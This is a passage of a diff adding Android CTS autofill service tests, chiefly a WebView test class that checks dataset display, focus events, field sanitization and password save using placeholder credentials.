+                mActivity.mCustomView.clickLogin();
+                break;
+            default:
+                throw new IllegalArgumentException("unknown type: " + commitType);
+        }
+
+        // Assert UI is showing.
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+
+        assertTextAndValue(username, "foo");
+        assertTextAndValue(password, "bar");
+    }
+
+    protected void setViewsInvisible(VisibilityIntegrationMode mode) {
+        mActivity.mUsername.setVisibilityIntegrationMode(mode);
+        mActivity.mPassword.setVisibilityIntegrationMode(mode);
+        mActivity.mUsername.changeVisibility(false);
+        mActivity.mPassword.changeVisibility(false);
+    }
+
+    // NOTE: tests where save is not shown only makes sense when calling commit() explicitly,
+    // otherwise the test could pass but the UI is still shown *after* the app is committed.
+    // We could still test them by explicitly committing and then checking that the Save UI is not
+    // shown again, but then we wouldn't be effectively testing that the context was committed
+
+    @Presubmit
+    @Test
+    public void testSaveNotShown_noUserInput() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
+    public void testSaveNotShown_initialValues_noUserInput() throws Throwable {
+        // Prepare activitiy.
+        mActivity.mUsername.setText("foo");
+        mActivity.mPassword.setText("bar");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
+    public void testSaveNotShown_initialValues_noUserInput_serviceDatasets() throws Throwable {
+        // Prepare activitiy.
+        mActivity.mUsername.setText("foo");
+        mActivity.mPassword.setText("bar");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
+    public void testSaveNotShown_userInputMatchesDatasets() throws Throwable {
+        // Prepare activitiy.
+        mActivity.mUsername.setText("foo");
+        mActivity.mPassword.setText("bar");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "foo")
+                        .setField(ID_PASSWORD, "bar")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetFiltering() throws Throwable {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(createPresentation(aa))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(createPresentation(ab))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(createPresentation(b))
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        assertDatasetShown(mActivity.mUsername, aa, ab, b);
+
+        // Only two datasets start with 'a'
+        mActivity.mUsername.setText("a");
+        assertDatasetShown(mActivity.mUsername, aa, ab);
+
+        // Only one dataset start with 'aa'
+        mActivity.mUsername.setText("aa");
+        assertDatasetShown(mActivity.mUsername, aa);
+
+        // Only two datasets start with 'a'
+        mActivity.mUsername.setText("a");
+        assertDatasetShown(mActivity.mUsername, aa, ab);
+
+        // With no filter text all datasets should be shown
+        mActivity.mUsername.setText("");
+        assertDatasetShown(mActivity.mUsername, aa, ab, b);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        mActivity.mUsername.setText("aaa");
+        callback.assertUiHiddenEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+        mUiBot.assertNoDatasets();
+    }
+
+    /**
+     * Asserts the dataset picker is properly displayed in a give line.
+     */
+    protected UiObject2 assertDatasetShown(Line line, String... expectedDatasets)
+            throws Exception {
+        boolean autofillViewBoundsMatches = !Helper.isAutofillWindowFullScreen(mContext);
+        final UiObject2 datasetPicker = mUiBot.assertDatasets(expectedDatasets);
+        final Rect pickerBounds = datasetPicker.getVisibleBounds();
+        final Rect fieldBounds = line.getAbsCoordinates();
+        if (autofillViewBoundsMatches) {
+            assertWithMessage("vertical coordinates don't match; picker=%s, field=%s", pickerBounds,
+                    fieldBounds).that(pickerBounds.top).isEqualTo(fieldBounds.bottom);
+            assertWithMessage("horizontal coordinates don't match; picker=%s, field=%s",
+                    pickerBounds, fieldBounds).that(pickerBounds.left).isEqualTo(fieldBounds.left);
+        }
+        return datasetPicker;
+    }
+
+    protected void assertLabel(ViewNode node, String expectedValue) {
+        if (mCompatMode) {
+            // Compat mode doesn't set AutofillValue of non-editable fields
+            assertTextOnly(node, expectedValue);
+        } else {
+            assertTextAndValue(node, expectedValue);
+        }
+    }
+
+    protected void assertUrlBarIsSanitized(ViewNode urlBar) {
+        assertTextIsSanitized(urlBar);
+        assertThat(urlBar.getWebDomain()).isNull();
+        assertThat(urlBar.getWebScheme()).isNull();
+    }
+
+
+    private void skipTestOnCompatMode() {
+        assumeTrue("test not applicable when on compat mode", !mCompatMode);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
new file mode 100644
index 0000000..00215ba
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
@@ -0,0 +1,590 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.activities.WebViewActivity.ID_OUTSIDE1;
+import static android.autofillservice.cts.activities.WebViewActivity.ID_OUTSIDE2;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.MyWebView;
+import android.autofillservice.cts.activities.WebViewActivity;
+import android.autofillservice.cts.commontests.AbstractWebViewTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.IdMode;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.ViewStructure.HtmlInfo;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class WebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity> {
+
+    private static final String TAG = "WebViewActivityTest";
+
+    private WebViewActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<WebViewActivity> getActivityRule() {
+        return new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
+
+            // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
+            // disable autofill for optimization when it returns false, and unfortunately the value
+            // returned by that method does not change when the service is enabled / disabled, so we
+            // need to start enable the service before launching the activity.
+            // Once that's fixed, remove this overridden method.
+            @Override
+            protected void beforeActivityLaunched() {
+                super.beforeActivityLaunched();
+                Log.i(TAG, "Setting service before launching the activity");
+                enableService();
+            }
+
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillOneDataset() is enough")
+    public void testAutofillNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        mActivity.loadWebView(mUiBot);
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        sReplier.getNextFillRequest();
+
+        // Assert not shown.
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    public void testAutofillOneDataset() throws Exception {
+        autofillOneDatasetTest(false);
+    }
+
+    @Ignore("blocked on b/74793485")
+    @Test
+    @AppModeFull(reason = "testAutofillOneDataset() is enough")
+    public void testAutofillOneDataset_usingAppContext() throws Exception {
+        autofillOneDatasetTest(true);
+    }
+
+    private void autofillOneDatasetTest(boolean usesAppContext) throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot, usesAppContext);
+        // Validation check to make sure autofill is enabled in the application context
+        Helper.assertAutofillEnabled(myWebView.getContext(), true);
+
+        // Set expectations.
+        myWebView.expectAutofill("dude", "sweet");
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(HTML_NAME_USERNAME, "dude")
+                .setField(HTML_NAME_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Change focus around.
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+        mActivity.getUsernameLabel().click();
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        mUiBot.assertNoDatasets();
+        mActivity.getPasswordInput().click();
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("The Dude");
+
+        // Now Autofill it.
+        mUiBot.selectDataset(datasetPicker, "The Dude");
+        myWebView.assertAutofilled();
+        mUiBot.assertNoDatasets();
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+
+        // Assert structure passed to service.
+        try {
+            final ViewNode webViewNode =
+                    Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
+            assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
+            assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
+            assertThat(webViewNode.getWebScheme()).isEqualTo("https");
+
+            final ViewNode usernameNode =
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
+            Helper.assertTextIsSanitized(usernameNode);
+            final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
+            Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
+            Helper.assertHasAttribute(usernameHtmlInfo, "name", "username");
+            assertThat(usernameNode.isFocused()).isTrue();
+            assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+            assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
+
+            final ViewNode passwordNode =
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
+            Helper.assertTextIsSanitized(passwordNode);
+            final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
+            Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
+            Helper.assertHasAttribute(passwordHtmlInfo, "name", "password");
+            assertThat(passwordNode.getAutofillHints()).asList()
+                    .containsExactly("current-password");
+            assertThat(passwordNode.getHint()).isEqualTo("Holder it like it cannnot passer a word");
+            assertThat(passwordNode.isFocused()).isFalse();
+        } catch (RuntimeException | Error e) {
+            Helper.dumpStructure("failed on testAutofillOneDataset()", fillRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    public void testSaveOnly() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        mActivity.loadWebView(mUiBot);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        sReplier.getNextFillRequest();
+
+        // Assert not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
+        } else {
+            mActivity.getUsernameInput().setText("DUDE");
+            mActivity.getPasswordInput().setText("SWEET");
+        }
+        mActivity.getLoginButton().click();
+
+        // Assert save UI shown.
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameNode, "u");
+            Helper.assertTextAndValue(passwordNode, "p");
+        } else {
+            Helper.assertTextAndValue(usernameNode, "DUDE");
+            Helper.assertTextAndValue(passwordNode, "SWEET");
+        }
+    }
+
+    @Test
+    public void testAutofillAndSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+
+        // Set expectations.
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        myWebView.expectAutofill("dude", "sweet");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude")
+                        .setField(HTML_NAME_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Assert structure passed to service.
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameNode);
+        assertThat(usernameNode.isFocused()).isTrue();
+        assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordNode);
+        assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
+        assertThat(passwordNode.isFocused()).isFalse();
+
+        // Autofill it.
+        mUiBot.selectDataset("The Dude");
+        myWebView.assertAutofilled();
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
+        } else {
+            mActivity.getUsernameInput().setText("DUDE");
+            mActivity.getPasswordInput().setText("SWEET");
+        }
+        mActivity.getLoginButton().click();
+
+        // Assert save UI shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameNode2, "dudeu");
+            Helper.assertTextAndValue(passwordNode2, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameNode2, "DUDE");
+            Helper.assertTextAndValue(passwordNode2, "SWEET");
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillAndSave() is enough")
+    public void testAutofillAndSave_withExternalViews_loadWebViewFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load views
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+        mActivity.loadOutsideViews();
+
+        // Set expectations.
+        myWebView.expectAutofill("dude", "sweet");
+        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+                mActivity.mOutside1, "duder");
+        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+                mActivity.mOutside2, "sweeter");
+        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("USER");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Assert structure passed to service.
+        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameFillNode);
+        assertThat(usernameFillNode.isFocused()).isTrue();
+        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordFillNode);
+        assertThat(passwordFillNode.getAutofillHints()).asList()
+                .containsExactly("current-password");
+        assertThat(passwordFillNode.isFocused()).isFalse();
+
+        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextIsSanitized(outside1FillNode);
+        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextIsSanitized(outside2FillNode);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.clearFocus();
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        mUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        mActivity.clearFocus();
+        mActivity.getPasswordInput().click();
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        mUiBot.assertDatasets("PASS");
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        mActivity.clearFocus();
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Autofill it.
+        mUiBot.selectDataset(datasetPicker, "OUT2");
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+
+        myWebView.assertAutofilled();
+        outside1Watcher.assertAutoFilled();
+        outside2Watcher.assertAutoFilled();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
+        } else {
+            mActivity.getUsernameInput().setText("DUDE");
+            mActivity.getPasswordInput().setText("SWEET");
+        }
+        mActivity.runOnUiThread(() -> {
+            mActivity.mOutside1.setText("DUDER");
+            mActivity.mOutside2.setText("SWEETER");
+        });
+
+        mActivity.getLoginButton().click();
+
+        // Assert save UI shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+        }
+
+        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+    }
+
+
+    @Test
+    @Ignore("blocked on b/69461853")
+    @AppModeFull(reason = "testAutofillAndSave() is enough")
+    public void testAutofillAndSave_withExternalViews_loadExternalViewsFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load outside views
+        mActivity.loadOutsideViews();
+
+        // Set expectations.
+        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+                mActivity.mOutside1, "duder");
+        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+                mActivity.mOutside2, "sweeter");
+        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.setIdMode(IdMode.RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        mUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Assert structure passed to service.
+        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextIsSanitized(outside1FillNode);
+        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextIsSanitized(outside2FillNode);
+
+        // Now load Webiew
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+
+        // Set expectations
+        myWebView.expectAutofill("dude", "sweet");
+        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        mUiBot.assertDatasets("USER");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        mUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        mUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        mActivity.getPasswordInput().click();
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        mUiBot.assertDatasets("PASS");
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Assert structure passed to service.
+        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameFillNode);
+        assertThat(usernameFillNode.isFocused()).isTrue();
+        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordFillNode);
+        assertThat(passwordFillNode.getAutofillHints()).asList()
+                .containsExactly("current-password");
+        assertThat(passwordFillNode.isFocused()).isFalse();
+
+        // Autofill external views (2nd partition)
+        mUiBot.selectDataset(datasetPicker, "OUT2");
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        outside1Watcher.assertAutoFilled();
+        outside2Watcher.assertAutoFilled();
+
+        // Autofill Webview (1st partition)
+        mActivity.getUsernameInput().click();
+        callback.assertUiShownEventForVirtualChild(myWebView);
+        mUiBot.selectDataset("USER");
+        myWebView.assertAutofilled();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
+        } else {
+            mActivity.getUsernameInput().setText("DUDE");
+            mActivity.getPasswordInput().setText("SWEET");
+        }
+        mActivity.runOnUiThread(() -> {
+            mActivity.mOutside1.setText("DUDER");
+            mActivity.mOutside2.setText("SWEETER");
+        });
+
